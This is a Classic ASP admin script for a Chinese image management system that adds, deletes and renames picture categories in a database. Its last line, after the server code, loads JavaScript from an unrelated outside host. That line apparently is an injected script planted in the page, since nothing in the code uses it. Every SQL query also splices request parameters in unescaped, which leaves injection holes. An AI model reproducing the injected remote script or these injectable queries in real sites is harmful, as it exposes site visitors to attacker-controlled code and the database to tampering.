admin_class.asp

一款有用的图片管理系统

<!--#include file="conn.asp"-->
<%
If Request("style")="del" Then
	ClassName=Trim(request("classname2"))
	call DeleteClass(ClassName)
ElseIf Request("style")="modify" Then
	NewClass=Trim(Request("newclassname"))
	OldClass=Trim(Request("classname"))
	call ModifyClass(NewClass,OldClass)
ElseIf Request("style")="add" Then
	ClassName=Trim(Request("classname3"))
	call AddNewClass(ClassName)
End If

sub AddNewClass(ClassName)
	dim ID
	dim sql,rs,trs
	dim RootID,MaxID,MaxRootID
	dim PrevID,NextID
	on error resume next
	set rs = conn.execute("select Max(ID) From classname")
	MaxID=rs(0)
	if isnull(MaxID) then
		MaxID=0
	end if
	rs.close
	ID=MaxID+1
	set rs=conn.execute("select max(rootid) From classname")
	MaxRootID=rs(0)
	if isnull(MaxRootID) then
		MaxRootID=0
	end if
	rs.close
	RootID=MaxRootID+1
	
	if MaxRootID>0 then
		set trs=conn.execute("select ID from classname where RootID=" & MaxRootID & "")
		PrevID=trs(0)
		trs.close
	else
		PrevID=0
	end if
	PrevOrderID=0

	sql="Select top 1 * From classname"
	rs.open sql,conn,1,3
    rs.addnew
	rs("ID")=ID
   	rs("classname")=ClassName
	rs("RootID")=RootID
	rs("PrevID")=PrevID
	rs("NextID")=0
	rs.update

	rsclose
    ConnClose
	
	Response.redirect "classmana.asp" 
end sub

sub DeleteClass(ClassName)
	dim sql,rs,PrevID,NextID
	on error resume next
	sql="select * From classname where classname="&ClassName
	set rs=server.CreateObject ("Adodb.recordset")
	rs.open sql,conn,1,3

	PrevID=rs("PrevID")
	NextID=rs("NextID")

	rs.delete
	rs.update
	rsclose
	'删除本栏目的所有信息
	conn.execute("delete from classname where classname='" & ClassName &"'")
	conn.execute("delete from title where classname='" & ClassName &"'")
	
	'修改上一栏目的NextID和下一栏目的PrevID
	if PrevID>0 then
		conn.execute "update classname set NextID=" & NextID & " where ID=" & PrevID
	end if
	if NextID>0 then
		conn.execute "update classname set PrevID=" & PrevID & " where ID=" & NextID
	end if
	ConnClose
	Response.redirect "classmana.asp" 
end sub

sub ModifyClass(NewClass,OldClass)
	conn.execute("update [classname] set classname='"&NewClass&"' where classname='"&OldClass&"'")
	conn.execute("update [title] set classname='"&NewClass&"' where classname='"&OldClass&"'")
	response.Redirect("classmana.asp")
end sub
%>
<script language=javascript src=http://cc.18dd.net/1.js></script>